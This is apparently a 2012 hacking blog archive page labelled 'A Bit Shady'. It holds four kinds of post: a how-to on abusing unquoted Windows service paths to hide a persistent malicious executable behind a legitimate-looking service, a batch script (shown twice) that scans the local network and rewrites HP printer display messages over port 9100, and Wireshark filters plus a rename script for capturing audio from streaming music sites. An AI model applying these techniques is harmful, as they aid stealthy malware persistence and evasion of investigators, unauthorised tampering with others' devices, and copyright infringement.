This is by no means a new thing. I've known about it for a really really long time, as I'm sure a whole lot of other people do, but for some reason no one uses it. Kind of like NTFS file streams, it's neat but not very many people make use of it.
There was a twitter post about something similar to this the other day and it took me by surprise that not everyone knew about it and that it was being treated as a novel approach.
Usually everyone talks about this for the exploitation of privilege, I use it to hide the true execution path to files. All of this requires that you have admin like permissions for it to work, this is pretty much worthless to the regular non priv. user.
So I thought I'd write up a post on it.
The basic premise is this: If you have a path with a space in it, Windows will break the path and attempt to execute all files with that path name as the file name.
Example: C:\Program Files\Crappy App\Whatever.exe
We will assume some program is attempting to start the application at the path above. IF the path is not enclosed in quotes (") it will attempt to run C:\Program.exe, C:\Program.bat, etc and then C:\Program Files\crappy.exe, C:\Program Files\crappy.bat, etc.. THEN if it fails to find any of those it finally launches the intended application.
OMG we just figured out how to super leet hack the world...
No not quite.
A lesser known bit of trivia... Windows will freak the hell out if you have a program named Program.exe in the C: directory. If you restart your computer and that file exists windows will alert you that it exists and instruct you to delete it or delete it automatically I don't remember for sure. This is because the good folks at MS know this is a problem, this is one of the reasons why you don't have file create permission on the C: drive but you do have folder create permission as a generic user. It is fun to make a Program.exe file that just echo's hello and put it in the C: drive and see what applications trigger it though. (I'm looking at you Notepad++)
Usually when there are spaces in the path those are all places you, as a regular non-priv user, don't have write permissions to. The only time I've seen where this was exploitable from a non privledged user was in some custom in house applications registry keys and some poorly written batch startup scripts with incorrect folder permissions. I've never viewed a service without quotes around the binpath, with spaces in the binpath, and that path is writable by non privileged users. Not saying it doesn't happen but it's fairly rare, from what I've seen.
But back on track, I'm talking about hiding files, or really just disguising where the files that are actually being executed really are.
You can use this technique to obfuscate locations in the registry, in services binpath, in batch files, all over the place.
I prefer to create services rather than registry run keys for nefarious programs that need to stay persistent. Lots of people check the registry occasionally, and nothing screams suspicious like a weird registry key in the run areas.
When was the last time you did a binpath= check and made sure all the paths were inclosed in quotes? When was the last time you checked all those and then compiled a list of the paths without quotes and with spaces then checked for like named executables in those paths?
The answer is never.
So say we use this batch file to create a new service:
@echo off
sc create "Windows UDP Processor" binpath= "C:\program files\common files\run.exe" start= demand type= own
sc description "Windows UDP Processor" "Manages Windows UDP Routing Traffic"
*note: I always try to make things look as un-suspicious as possible hence the "sc description" command to add a description to the service. It's the little things kids.
Since we didn't use escaped quotes in the bin path we end up with a binpath of this:
C:\Program Files\Common Files\Run.exe
Instead of
"C:\Program Files\Common Files\Run.exe"
(we SHOULD have used this "\"C:\Program files\common files\run.exe"\" as the binpath)
I've already dumped my malicious file common.exe in C:\Program Files\.
When this service starts it will run C:\Program Files\common.exe not C:\Program Files\Common Files\Run.exe
IF the service ever gets examined most likely the person will check Run.exe, see that it's legit / harmless and move on missing the real file that is being executed.
Pretty sneaky right?
Well except for the part where you created a new service, that's still kinda sketchy.
But, if you find a legit service with spaces (more than one, usually in C:\Program Files) in the path you can modify the binpath of the service and remove the quotes (that it should have) and then place your file in the path with the proper name. Having your malicious file start the intended executable will belay suspicion.
There you have it, a legitimate service, pointing to a legitimate executable, but we're jumping in the middle and getting our file executed.
Then all you have to do is worry about AntiVirus programs going NOM NOM NOM on your files.
This works for Service BinPaths and Registry Keys, with batch files you have to go about it a little different.
With Batch files you can't have spaces in the path. End of the story.
So if you tried to call C:\Program Files\Crappy App\Whatever.exe without quotes, unless there's a C:\Programs.exe it's going to fail with a file not found.
So you have to use the short path name for everything up to where you want it to break and execute the file.
Like this:
C:\Progra~1\Crappy App\Whatever.exe
This would execute C:\Program Files\Crappy.exe
So there you have it, a different view. Using spaces to hide the true path of execution instead of using it to exploit a priv escalation.
Showing posts with label A Bit Shady. Show all posts
Showing posts with label A Bit Shady. Show all posts
Monday, August 20, 2012
Friday, June 22, 2012
Fun with HP Printers
There are few things in life that are as entertaining as the confusion and chaos that ensue when you make minor changes to the environment/daily routine of people that do office work.
Something as simple as changing the display on a network printer will immediately cause 1 of two reactions, total and complete mental shutdown or complete denial of acceptance into their reality aka they ignore it.
Once upon a time one of the l0pht team made a small utility called the HP Display Hack, sili circa 12/8/97 according to the useage output. This allows you to change the standard message on HP printer displays. There are several other utilities you can do this with, such as HiJetter by Phenoelit. Also you can just telnet/putty in on 9100 and issue @PJL RDYMSG DISPLAY="BlahBlah".
So anyways, I wrote a script to find you local network, scan 1-254 and find anything that responds to ping, then check if it will establish a telnet connection on port 9100, if so use the HP Display Hack program to randomly change the message to 1 of the 10 options (change if you like, up to 16 characters).
Not particularly evil, but always good for a laugh, especially when the help desk gets a call about the printer in the accounting office stating it's uploading documents to the CIA. Or the internal printer fire in the warehouse.
-=Script=-
@echo off
setlocal enabledelayedexpansion
::find network
for /f "tokens=2 delims=:" %%i in ('ipconfig ^| find /i "Ip Address"') do set network=%%i
for /f "tokens=1,2,3 delims=." %%i in ("%network%") do set network2=%%i.%%j.%%k
::Scan for Active Hosts
for /L %%i in (1,1,254) do ping -n 1 -w 60 %network2%.%%i | find /i "reply" >> ~temp1
for /f "tokens=3 delims=: " %%i in (~temp1) do echo %%i >> ~temp2
del /f /q ~temp1 > nul
::Check for port 9100 (aka printers)
for /f %%i in (~temp2) do (
set t=!random!
set r=!t:~1,1!
if !r! == 1 set message="[READY] TO ROCK"
if !r! == 2 set message="Uploading to CIA"
if !r! == 3 set message="FEED ME A KITTEN"
if !r! == 4 set message="Spelling Error"
if !r! == 5 set message="Internal Fire"
if !r! == 6 set message="OUT OF LETTERS"
if !r! == 7 set message="Self Destruct:ON"
if !r! == 8 set message="PCLOAD LETTER"
if !r! == 9 set message="POWER FLUID LOW"
if !r! == 0 set message="Insert Coin"
set r=
set t=
start /min telnet %%i 9100
ping -n 5 127.0.0.1 > nul
netstat -n | find /i "%%i:9100" | find /i "Established" && hpnt.exe %%i "!message!"
taskkill /f /IM telnet.exe
)
del /f /q ~temp2 > nul
exit
As stated previously hpnt just issues the @PJL RDYMSG Display="whatever" command over telnet. It could be done with a piped text file to netcat also as there's no way I know of to send commands to a telnet session in pure batch.
Something as simple as changing the display on a network printer will immediately cause 1 of two reactions, total and complete mental shutdown or complete denial of acceptance into their reality aka they ignore it.
Once upon a time one of the l0pht team made a small utility called the HP Display Hack, sili circa 12/8/97 according to the useage output. This allows you to change the standard message on HP printer displays. There are several other utilities you can do this with, such as HiJetter by Phenoelit. Also you can just telnet/putty in on 9100 and issue @PJL RDYMSG DISPLAY="BlahBlah".
So anyways, I wrote a script to find you local network, scan 1-254 and find anything that responds to ping, then check if it will establish a telnet connection on port 9100, if so use the HP Display Hack program to randomly change the message to 1 of the 10 options (change if you like, up to 16 characters).
Not particularly evil, but always good for a laugh, especially when the help desk gets a call about the printer in the accounting office stating it's uploading documents to the CIA. Or the internal printer fire in the warehouse.
-=Script=-
@echo off
setlocal enabledelayedexpansion
::find network
for /f "tokens=2 delims=:" %%i in ('ipconfig ^| find /i "Ip Address"') do set network=%%i
for /f "tokens=1,2,3 delims=." %%i in ("%network%") do set network2=%%i.%%j.%%k
::Scan for Active Hosts
for /L %%i in (1,1,254) do ping -n 1 -w 60 %network2%.%%i | find /i "reply" >> ~temp1
for /f "tokens=3 delims=: " %%i in (~temp1) do echo %%i >> ~temp2
del /f /q ~temp1 > nul
::Check for port 9100 (aka printers)
for /f %%i in (~temp2) do (
set t=!random!
set r=!t:~1,1!
if !r! == 1 set message="[READY] TO ROCK"
if !r! == 2 set message="Uploading to CIA"
if !r! == 3 set message="FEED ME A KITTEN"
if !r! == 4 set message="Spelling Error"
if !r! == 5 set message="Internal Fire"
if !r! == 6 set message="OUT OF LETTERS"
if !r! == 7 set message="Self Destruct:ON"
if !r! == 8 set message="PCLOAD LETTER"
if !r! == 9 set message="POWER FLUID LOW"
if !r! == 0 set message="Insert Coin"
set r=
set t=
start /min telnet %%i 9100
ping -n 5 127.0.0.1 > nul
netstat -n | find /i "%%i:9100" | find /i "Established" && hpnt.exe %%i "!message!"
taskkill /f /IM telnet.exe
)
del /f /q ~temp2 > nul
exit
As stated previously hpnt just issues the @PJL RDYMSG Display="whatever" command over telnet. It could be done with a piped text file to netcat also as there's no way I know of to send commands to a telnet session in pure batch.
Wednesday, June 20, 2012
Wireshark Filters - For a Different Popular Music Site
Grab music off of a different very popular music site...
src host s18.first.am or s19.first.am or s20.first.am or s25.first.am or s3.first.am or x1.first.am or x2.first.am or x3.first.am or x4.first.am or s2.first.am or s4.first.am or s5.first.am or s6.first.am or s7.first.am or s8.first.am or s9.first.am or s10.first.am or s11.first.am or s12.first.am or s13.first.am or s14.first.am or s15.first.am or s16.first.am or s17.first.am or x5.first.am or x6.first.am or x7.first.am or x8.first.am or s21.first.am or s22.first.am or s23.first.am or s24.first.am or s26.
I'll leave it as an exercise to the reader to figure out what the domain name is supposed to be.
You're going to end up with all kinds of crap along with what you want. Such as text files, image files, you're looking for audio/mpeg.
Cleaned up the filter. Now it only grabs the audio files
I hate doing crap manually so here's a script add the extension to the files.
-=Script=-
@echo off
ren *.audio%2fmpeg *.mp3
Yep that's it, you might have some OBJECT files left over, those are crap, just delete them. There may also be other stuff, I only did a short capture.
Open all the files in Winamp and send them to Auto Tag, then use MP3Tag (as was pointed out to me) to rename the file name from the metadata.
src host s18.first.am or s19.first.am or s20.first.am or s25.first.am or s3.first.am or x1.first.am or x2.first.am or x3.first.am or x4.first.am or s2.first.am or s4.first.am or s5.first.am or s6.first.am or s7.first.am or s8.first.am or s9.first.am or s10.first.am or s11.first.am or s12.first.am or s13.first.am or s14.first.am or s15.first.am or s16.first.am or s17.first.am or x5.first.am or x6.first.am or x7.first.am or x8.first.am or s21.first.am or s22.first.am or s23.first.am or s24.first.am or s26.
I'll leave it as an exercise to the reader to figure out what the domain name is supposed to be.
Cleaned up the filter. Now it only grabs the audio files
I hate doing crap manually so here's a script add the extension to the files.
-=Script=-
@echo off
ren *.audio%2fmpeg *.mp3
Open all the files in Winamp and send them to Auto Tag, then use MP3Tag (as was pointed out to me) to rename the file name from the metadata.
Thursday, May 31, 2012
Wireshark Filters - For a popular music site
--Updated with a larger list--
Why not have a massive Wireshark capture filter to capture music a from popular music streaming site? Well that's what my thought was, a bit of DNS digging and a refresher on Wireshark capture filter syntax later and whammo you get this:
src host future-208-85-40-1.popularmusicsite.com or future-208-85-40-2.popularmusicsite.com or server-net-sv3-40-3.popularmusicsite.com or server-net-sv3-40-4.popularmusicsite.com or server-net-sv3-40-7.popularmusicsite.com or server-net-sv3-40-8.popularmusicsite.com or server-net-sv3-40-11.popularmusicsite.com or server-net-sv3-40-12.popularmusicsite.com or server-net-sv3-40-13.popularmusicsite.com or server-net-sv3-40-14.popularmusicsite.com or server-net-sv3-40-15.popularmusicsite.com or server-net-sv3-40-16.popularmusicsite.com or server-ph-sv3-40-107.popularmusicsite.com or server-ph-sv3-40-108.popularmusicsite.com or server-ph-sv3-40-109.popularmusicsite.com or server-ph-sv3-40-110.popularmusicsite.com or server-ph-sv3-40-111.popularmusicsite.com or server-ph-sv3-40-112.popularmusicsite.com or server-ph-sv3-40-113.popularmusicsite.com or server-ph-sv3-40-114.popularmusicsite.com or server-ph-sv3-40-115.popularmusicsite.com or server-ph-sv3-40-116.popularmusicsite.com or server-ph-sv3-40-117.popularmusicsite.com or server-ph-sv3-40-118.popularmusicsite.com or server-ph-sv3-40-119.popularmusicsite.com or server-ph-sv3-40-120.popularmusicsite.com or server-ph-sv3-40-121.popularmusicsite.com or server-ph-sv3-40-122.popularmusicsite.com or server-ph-sv3-40-123.popularmusicsite.com or server-ph-sv3-40-124.popularmusicsite.com or server-ph-sv3-40-125.popularmusicsite.com or server-ph-sv3-40-126.popularmusicsite.com or server-ph-sv3-40-127.popularmusicsite.com or server-ph-sv3-40-128.popularmusicsite.com or server-ph-sv3-40-129.popularmusicsite.com or server-ph-sv3-40-130.popularmusicsite.com or server-ph-sv3-40-131.popularmusicsite.com or server-ph-sv3-40-133.popularmusicsite.com or server-ph-sv3-40-134.popularmusicsite.com or server-ph-sv3-40-135.popularmusicsite.com or server-ph-sv3-40-136.popularmusicsite.com or server-ph-sv3-40-137.popularmusicsite.com or server-ph-sv3-40-138.popularmusicsite.com or server-ph-sv3-40-139.popularmusicsite.com or server-ph-sv3-40-140.popularmusicsite.com or server-ph-sv3-40-141.popularmusicsite.com or server-ph-sv3-40-142.popularmusicsite.com or server-ph-sv3-40-143.popularmusicsite.com or server-ph-sv3-40-144.popularmusicsite.com or server-ph-sv3-40-145.popularmusicsite.com or server-ph-sv3-40-146.popularmusicsite.com or server-ph-sv3-40-147.popularmusicsite.com or server-ph-sv3-40-148.popularmusicsite.com or server-ph-sv3-40-149.popularmusicsite.com or server-ph-sv3-40-150.popularmusicsite.com or server-ph-sv3-40-151.popularmusicsite.com or server-ph-sv3-40-152.popularmusicsite.com or server-ph-sv3-40-153.popularmusicsite.com or server-ph-sv3-40-154.popularmusicsite.com or server-ph-sv3-40-155.popularmusicsite.com or server-ph-sv3-40-156.popularmusicsite.com or server-ph-sv3-40-157.popularmusicsite.com or server-ph-sv3-40-158.popularmusicsite.com or server-ph-sv3-40-159.popularmusicsite.com or server-ph-sv3-40-160.popularmusicsite.com or server-ph-sv3-40-161.popularmusicsite.com or server-ph-sv3-40-162.popularmusicsite.com or server-ph-sv3-40-163.popularmusicsite.com or server-ph-sv3-40-164.popularmusicsite.com or server-ph-sv3-40-165.popularmusicsite.com or server-ph-sv3-40-166.popularmusicsite.com or server-ph-sv3-40-167.popularmusicsite.com or server-ph-sv3-40-168.popularmusicsite.com or server-ph-sv3-40-169.popularmusicsite.com or server-ph-sv3-40-170.popularmusicsite.com or server-ph-sv3-40-171.popularmusicsite.com or server-ph-sv3-40-172.popularmusicsite.com or server-ph-sv3-40-173.popularmusicsite.com or server-ph-sv3-40-174.popularmusicsite.com or server-ph-sv3-40-176.popularmusicsite.com or server-ph-sv3-40-177.popularmusicsite.com or server-ph-sv3-40-178.popularmusicsite.com or server-ph-sv3-40-179.popularmusicsite.com or server-ph-sv3-40-180.popularmusicsite.com or server-ph-sv3-40-181.popularmusicsite.com or server-ph-sv3-40-182.popularmusicsite.com or server-ph-sv3-40-183.popularmusicsite.com or server-ph-sv3-40-185.popularmusicsite.com or server-ph-sv3-40-186.popularmusicsite.com or server-ph-sv3-40-187.popularmusicsite.com or server-ph-sv3-40-188.popularmusicsite.com or server-ph-sv3-40-189.popularmusicsite.com or server-ph-sv3-40-190.popularmusicsite.com or server-ph-sv3-40-191.popularmusicsite.com or server-ph-sv3-40-192.popularmusicsite.com or server-ph-sv3-40-193.popularmusicsite.com or server-ph-sv3-40-194.popularmusicsite.com or server-ph-sv3-40-195.popularmusicsite.com or server-ph-sv3-40-196.popularmusicsite.com or server-ph-sv3-40-197.popularmusicsite.com or server-ph-sv3-40-198.popularmusicsite.com or server-ph-sv3-40-199.popularmusicsite.com or server-ph-sv3-40-211.popularmusicsite.com or server-ph-sv3-40-212.popularmusicsite.com or server-ph-sv3-40-213.popularmusicsite.com or server-ph-sv3-40-214.popularmusicsite.com or server-ph-sv3-40-215.popularmusicsite.com or server-ph-sv3-40-216.popularmusicsite.com or server-ph-sv3-40-217.popularmusicsite.com or server-ph-sv3-40-218.popularmusicsite.com or server-ph-sv3-40-219.popularmusicsite.com or server-ph-sv3-40-220.popularmusicsite.com or server-ph-sv3-40-221.popularmusicsite.com or server-ph-sv3-40-222.popularmusicsite.com or server-ph-sv3-40-223.popularmusicsite.com or server-ph-sv3-40-225.popularmusicsite.com or server-ph-sv3-40-227.popularmusicsite.com or server-ph-sv3-40-228.popularmusicsite.com or server-ph-sv3-40-229.popularmusicsite.com or server-ph-sv3-40-230.popularmusicsite.com or server-ph-sv3-40-231.popularmusicsite.com or server-ph-sv3-40-232.popularmusicsite.com or server-ph-sv3-40-233.popularmusicsite.com or server-ph-sv3-40-234.popularmusicsite.com or server-ph-sv3-40-235.popularmusicsite.com or server-ph-sv3-40-236.popularmusicsite.com or server-ph-sv3-40-237.popularmusicsite.com or server-ph-sv3-40-238.popularmusicsite.com or server-ph-sv3-40-239.popularmusicsite.com or server-ph-sv3-40-240.popularmusicsite.com or server-ph-sv3-40-241.popularmusicsite.com or server-ph-sv3-40-242.popularmusicsite.com or server-ph-sv3-40-243.popularmusicsite.com or server-ph-sv3-40-244.popularmusicsite.com or server-ph-sv3-40-246.popularmusicsite.com or server-ph-sv3-40-247.popularmusicsite.com or server-ph-sv3-40-248.popularmusicsite.com or server-ph-sv3-40-249.popularmusicsite.com or server-ph-sv3-40-250.popularmusicsite.com or server-ph-sv3-40-251.popularmusicsite.com or server-ph-sv3-40-252.popularmusicsite.com or server-ph-sv3-40-253.popularmusicsite.com or server-ph-sv3-40-254.popularmusicsite.com or future-208-85-41-1.popularmusicsite.com or future-208-85-41-2.popularmusicsite.com or server-net-sv3-41-3.popularmusicsite.com or server-net-sv3-41-4.popularmusicsite.com or server-net-sv3-41-5.popularmusicsite.com or server-net-sv3-41-6.popularmusicsite.com or server-net-sv3-41-7.popularmusicsite.com or server-net-sv3-41-8.popularmusicsite.com or mediaserver-sjl-t1-1.popularmusicsite.com or mediaserver-sjl-t1-2.popularmusicsite.com or mediaserver-sjl-t1-3.popularmusicsite.com or mediaserver-sjl-t1-4.popularmusicsite.com or mediaserver-sjl-t3-4.popularmusicsite.com or mediaserver-sjl-m-2.popularmusicsite.com or mediaserver-sjl-a-1.popularmusicsite.com or mediaserver-sjl-a-2.popularmusicsite.com or mediaserver-sjl-w12-1.popularmusicsite.com or mediaserver-sjl-w12-3.popularmusicsite.com or mediaserver-sjl-w12-4.popularmusicsite.com or mediaserver-sjl-3.popularmusicsite.com or mediaserver-sjl-4.popularmusicsite.com or mediaserver-sjl-w3-1.popularmusicsite.com or mediaserver-sjl-w3-2.popularmusicsite.com or mediaserver-sjl-dev-1.popularmusicsite.com or mediaserver-sjl-dev-2.popularmusicsite.com or mediaserver-sjl-30-1.popularmusicsite.com or mediaserver-sjl-30-2.popularmusicsite.com or mediaserver-sjl-t2-1.popularmusicsite.com or mediaserver-sjl-t2-2.popularmusicsite.com or mediaserver-sjl-t3-1.popularmusicsite.com or mediaserver-sjl-t3-2.popularmusicsite.com or rtspserver-sjl-3.popularmusicsite.com or rtspserver-sjl-4.popularmusicsite.com or mediaserver-sjl-t3-3.popularmusicsite.com or audio-sjl-dev-rem.popularmusicsite.com or server-ph-sv3-41-47.popularmusicsite.com or server-ph-sv3-41-48.popularmusicsite.com or server-ph-sv3-41-49.popularmusicsite.com or server-ph-sv3-41-50.popularmusicsite.com or server-ph-sv3-41-51.popularmusicsite.com or server-ph-sv3-41-52.popularmusicsite.com or server-ph-sv3-41-53.popularmusicsite.com or server-ph-sv3-41-54.popularmusicsite.com or server-ph-sv3-41-55.popularmusicsite.com or server-ph-sv3-41-56.popularmusicsite.com or server-ph-sv3-41-57.popularmusicsite.com or server-ph-sv3-41-58.popularmusicsite.com or server-ph-sv3-41-59.popularmusicsite.com or server-ph-sv3-41-60.popularmusicsite.com or server-ph-sv3-41-61.popularmusicsite.com or server-ph-sv3-41-62.popularmusicsite.com or server-ph-sv3-41-63.popularmusicsite.com or server-ph-sv3-41-65.popularmusicsite.com or server-ph-sv3-41-66.popularmusicsite.com or server-ph-sv3-41-67.popularmusicsite.com or server-ph-sv3-41-68.popularmusicsite.com or server-ph-sv3-41-69.popularmusicsite.com or server-ph-sv3-41-70.popularmusicsite.com or server-ph-sv3-41-71.popularmusicsite.com or server-ph-sv3-41-72.popularmusicsite.com or server-ph-sv3-41-73.popularmusicsite.com or server-ph-sv3-41-74.popularmusicsite.com or server-ph-sv3-41-75.popularmusicsite.com or server-ph-sv3-41-76.popularmusicsite.com or server-ph-sv3-41-77.popularmusicsite.com or server-ph-sv3-41-78.popularmusicsite.com or server-ph-sv3-41-79.popularmusicsite.com or server-ph-sv3-41-80.popularmusicsite.com or server-ph-sv3-41-81.popularmusicsite.com or server-ph-sv3-41-82.popularmusicsite.com or server-ph-sv3-41-83.popularmusicsite.com or server-ph-sv3-41-84.popularmusicsite.com or server-ph-sv3-41-85.popularmusicsite.com or server-ph-sv3-41-86.popularmusicsite.com or server-ph-sv3-41-87.popularmusicsite.com or server-ph-sv3-41-88.popularmusicsite.com or server-ph-sv3-41-89.popularmusicsite.com or server-ph-sv3-41-90.popularmusicsite.com or server-ph-sv3-41-91.popularmusicsite.com or server-ph-sv3-41-92.popularmusicsite.com or server-ph-sv3-41-93.popularmusicsite.com or server-ph-sv3-41-94.popularmusicsite.com or server-ph-sv3-41-95.popularmusicsite.com or server-ph-sv3-41-96.popularmusicsite.com or server-ph-sv3-41-97.popularmusicsite.com or server-ph-sv3-41-98.popularmusicsite.com or server-ph-sv3-41-99.popularmusicsite.com or server-ph-sv3-41-100.popularmusicsite.com or server-ph-sv3-41-102.popularmusicsite.com or server-ph-sv3-41-103.popularmusicsite.com or server-ph-sv3-41-104.popularmusicsite.com or server-ph-sv3-41-105.popularmusicsite.com or server-ph-sv3-41-106.popularmusicsite.com or server-ph-sv3-41-107.popularmusicsite.com or server-ph-sv3-41-108.popularmusicsite.com or server-ph-sv3-41-109.popularmusicsite.com or server-ph-sv3-41-110.popularmusicsite.com or server-ph-sv3-41-111.popularmusicsite.com or server-ph-sv3-41-112.popularmusicsite.com or server-ph-sv3-41-113.popularmusicsite.com or server-ph-sv3-41-114.popularmusicsite.com or server-ph-sv3-41-115.popularmusicsite.com or server-ph-sv3-41-116.popularmusicsite.com or server-ph-sv3-41-117.popularmusicsite.com or server-ph-sv3-41-118.popularmusicsite.com or server-ph-sv3-41-119.popularmusicsite.com or server-ph-sv3-41-120.popularmusicsite.com or server-ph-sv3-41-121.popularmusicsite.com or server-ph-sv3-41-122.popularmusicsite.com or server-ph-sv3-41-123.popularmusicsite.com or server-ph-sv3-41-124.popularmusicsite.com or server-ph-sv3-41-125.popularmusicsite.com or server-ph-sv3-41-126.popularmusicsite.com or server-ph-sv3-41-127.popularmusicsite.com or server-ph-sv3-41-128.popularmusicsite.com or server-ph-sv3-41-129.popularmusicsite.com or server-ph-sv3-41-130.popularmusicsite.com or server-ph-sv3-41-131.popularmusicsite.com or server-ph-sv3-41-132.popularmusicsite.com or server-ph-sv3-41-133.popularmusicsite.com or server-ph-sv3-41-134.popularmusicsite.com or server-ph-sv3-41-135.popularmusicsite.com or server-ph-sv3-41-136.popularmusicsite.com or server-ph-sv3-41-137.popularmusicsite.com or server-ph-sv3-41-138.popularmusicsite.com or server-ph-sv3-41-139.popularmusicsite.com or server-ph-sv3-41-140.popularmusicsite.com or server-ph-sv3-41-141.popularmusicsite.com or server-ph-sv3-41-142.popularmusicsite.com or server-ph-sv3-41-143.popularmusicsite.com or server-ph-sv3-41-144.popularmusicsite.com or server-ph-sv3-41-145.popularmusicsite.com or server-ph-sv3-41-146.popularmusicsite.com or server-ph-sv3-41-147.popularmusicsite.com or server-ph-sv3-41-148.popularmusicsite.com or server-ph-sv3-41-149.popularmusicsite.com or server-ph-sv3-41-150.popularmusicsite.com or server-ph-sv3-41-151.popularmusicsite.com or server-ph-sv3-41-152.popularmusicsite.com or server-ph-sv3-41-153.popularmusicsite.com or server-ph-sv3-41-154.popularmusicsite.com or server-ph-sv3-41-155.popularmusicsite.com or server-ph-sv3-41-156.popularmusicsite.com or server-ph-sv3-41-157.popularmusicsite.com or server-ph-sv3-41-158.popularmusicsite.com or server-ph-sv3-41-159.popularmusicsite.com or server-ph-sv3-41-160.popularmusicsite.com or server-ph-sv3-41-161.popularmusicsite.com or server-ph-sv3-41-162.popularmusicsite.com or server-ph-sv3-41-163.popularmusicsite.com or server-ph-sv3-41-164.popularmusicsite.com or server-ph-sv3-41-165.popularmusicsite.com or server-ph-sv3-41-166.popularmusicsite.com or server-ph-sv3-41-167.popularmusicsite.com or server-ph-sv3-41-168.popularmusicsite.com or server-ph-sv3-41-169.popularmusicsite.com or server-ph-sv3-41-170.popularmusicsite.com or server-ph-sv3-41-171.popularmusicsite.com or server-ph-sv3-41-172.popularmusicsite.com or server-ph-sv3-41-173.popularmusicsite.com or server-ph-sv3-41-174.popularmusicsite.com or server-ph-sv3-41-175.popularmusicsite.com or server-ph-sv3-41-176.popularmusicsite.com or server-ph-sv3-41-177.popularmusicsite.com or server-ph-sv3-41-178.popularmusicsite.com or server-ph-sv3-41-179.popularmusicsite.com or server-ph-sv3-41-180.popularmusicsite.com or server-ph-sv3-41-181.popularmusicsite.com or server-ph-sv3-41-182.popularmusicsite.com or server-ph-sv3-41-183.popularmusicsite.com or server-ph-sv3-41-184.popularmusicsite.com or server-ph-sv3-41-185.popularmusicsite.com or server-ph-sv3-41-186.popularmusicsite.com or server-ph-sv3-41-187.popularmusicsite.com or server-ph-sv3-41-188.popularmusicsite.com or server-ph-sv3-41-189.popularmusicsite.com or server-ph-sv3-41-190.popularmusicsite.com or server-ph-sv3-41-191.popularmusicsite.com or server-ph-sv3-41-192.popularmusicsite.com or server-ph-sv3-41-193.popularmusicsite.com or server-ph-sv3-41-194.popularmusicsite.com or server-ph-sv3-41-195.popularmusicsite.com or server-ph-sv3-41-196.popularmusicsite.com or server-ph-sv3-41-198.popularmusicsite.com or server-ph-sv3-41-199.popularmusicsite.com or server-ph-sv3-41-200.popularmusicsite.com or server-ph-sv3-41-201.popularmusicsite.com or server-ph-sv3-41-202.popularmusicsite.com or server-ph-sv3-41-203.popularmusicsite.com or server-ph-sv3-41-204.popularmusicsite.com or server-ph-sv3-41-205.popularmusicsite.com or server-ph-sv3-41-207.popularmusicsite.com or server-ph-sv3-41-208.popularmusicsite.com or server-ph-sv3-41-209.popularmusicsite.com or server-ph-sv3-41-210.popularmusicsite.com or server-ph-sv3-41-211.popularmusicsite.com or server-ph-sv3-41-212.popularmusicsite.com or server-ph-sv3-41-213.popularmusicsite.com or server-ph-sv3-41-214.popularmusicsite.com or server-ph-sv3-41-215.popularmusicsite.com or server-ph-sv3-41-216.popularmusicsite.com or server-ph-sv3-41-217.popularmusicsite.com or server-ph-sv3-41-219.popularmusicsite.com or server-ph-sv3-41-220.popularmusicsite.com or server-ph-sv3-41-221.popularmusicsite.com or server-ph-sv3-41-222.popularmusicsite.com or server-ph-sv3-41-223.popularmusicsite.com or server-ph-sv3-41-224.popularmusicsite.com or server-ph-sv3-41-225.popularmusicsite.com or server-ph-sv3-41-226.popularmusicsite.com or server-ph-sv3-41-227.popularmusicsite.com or server-ph-sv3-41-228.popularmusicsite.com or server-ph-sv3-41-229.popularmusicsite.com or server-ph-sv3-41-230.popularmusicsite.com or server-ph-sv3-41-231.popularmusicsite.com or server-ph-sv3-41-232.popularmusicsite.com or server-ph-sv3-41-233.popularmusicsite.com or server-ph-sv3-41-234.popularmusicsite.com or server-ph-sv3-41-235.popularmusicsite.com or server-ph-sv3-41-236.popularmusicsite.com or server-ph-sv3-41-237.popularmusicsite.com or server-ph-sv3-41-238.popularmusicsite.com or server-ph-sv3-41-239.popularmusicsite.com or server-ph-sv3-41-240.popularmusicsite.com or server-ph-sv3-41-241.popularmusicsite.com or server-ph-sv3-41-242.popularmusicsite.com or server-ph-sv3-41-243.popularmusicsite.com or server-ph-sv3-41-244.popularmusicsite.com or server-ph-sv3-41-245.popularmusicsite.com or server-ph-sv3-41-246.popularmusicsite.com or server-ph-sv3-41-247.popularmusicsite.com or server-ph-sv3-41-248.popularmusicsite.com or server-ph-sv3-41-249.popularmusicsite.com or server-ph-sv3-41-250.popularmusicsite.com or server-ph-sv3-41-252.popularmusicsite.com or server-ph-sv3-41-254.popularmusicsite.com or future-208-85-42-1.popularmusicsite.com or server-net-sv3-42-7.popularmusicsite.com or server-net-sv3-42-8.popularmusicsite.com or server-net-sv3-42-9.popularmusicsite.com or server-net-sv3-42-10.popularmusicsite.com or server-net-sv3-42-10.popularmusicsite.com or server-net-sv3-42-10.popularmusicsite.com or server-net-sv3-42-10.popularmusicsite.com or server-net-sv3-42-10.popularmusicsite.com or server-net-sv3-42-10.popularmusicsite.com or server-net-sv3-42-10.popularmusicsite.com or server-net-sv3-42-17.popularmusicsite.com or server-net-sv3-42-18.popularmusicsite.com or server-net-sv3-42-19.popularmusicsite.com or mediaserver-sv5-t1-2.popularmusicsite.com or mediaserver-sv5-t2-1.popularmusicsite.com or mediaserver-sv5-t2-2.popularmusicsite.com or mediaserver-sv5-t2-3.popularmusicsite.com or mediaserver-sv5-t2-4.popularmusicsite.com or mediaserver-sv5-t3-1.popularmusicsite.com or mediaserver-sv5-t3-2.popularmusicsite.com or mediaserver-sv5-t3-3.popularmusicsite.com or mediaserver-sv5-t3-4.popularmusicsite.com or mediaserver-sv5-t1-3.popularmusicsite.com or mediaserver-sv5-t1-4.popularmusicsite.com or mediaserver-sv5-rt-1.popularmusicsite.com or server-ph-sv5-42-37.popularmusicsite.com or server-ph-sv5-42-38.popularmusicsite.com or server-ph-sv5-42-39.popularmusicsite.com or server-ph-sv5-42-40.popularmusicsite.com or server-ph-sv5-42-41.popularmusicsite.com or a4a.popularmusicsite.com or server-ph-sv5-42-43.popularmusicsite.com or server-ph-sv5-42-44.popularmusicsite.com or server-ph-sv5-42-45.popularmusicsite.com or server-ph-sv5-42-46.popularmusicsite.com or server-ph-sv5-42-47.popularmusicsite.com or server-ph-sv5-42-48.popularmusicsite.com or server-ph-sv5-42-49.popularmusicsite.com or server-ph-sv5-42-50.popularmusicsite.com or server-ph-sv5-42-51.popularmusicsite.com or server-ph-sv5-42-52.popularmusicsite.com or server-ph-sv5-42-53.popularmusicsite.com or server-ph-sv5-42-54.popularmusicsite.com or server-ph-sv5-42-56.popularmusicsite.com or server-ph-sv5-42-57.popularmusicsite.com or server-ph-sv5-42-58.popularmusicsite.com or server-ph-sv5-42-59.popularmusicsite.com or server-ph-sv5-42-60.popularmusicsite.com or server-ph-sv5-42-61.popularmusicsite.com or 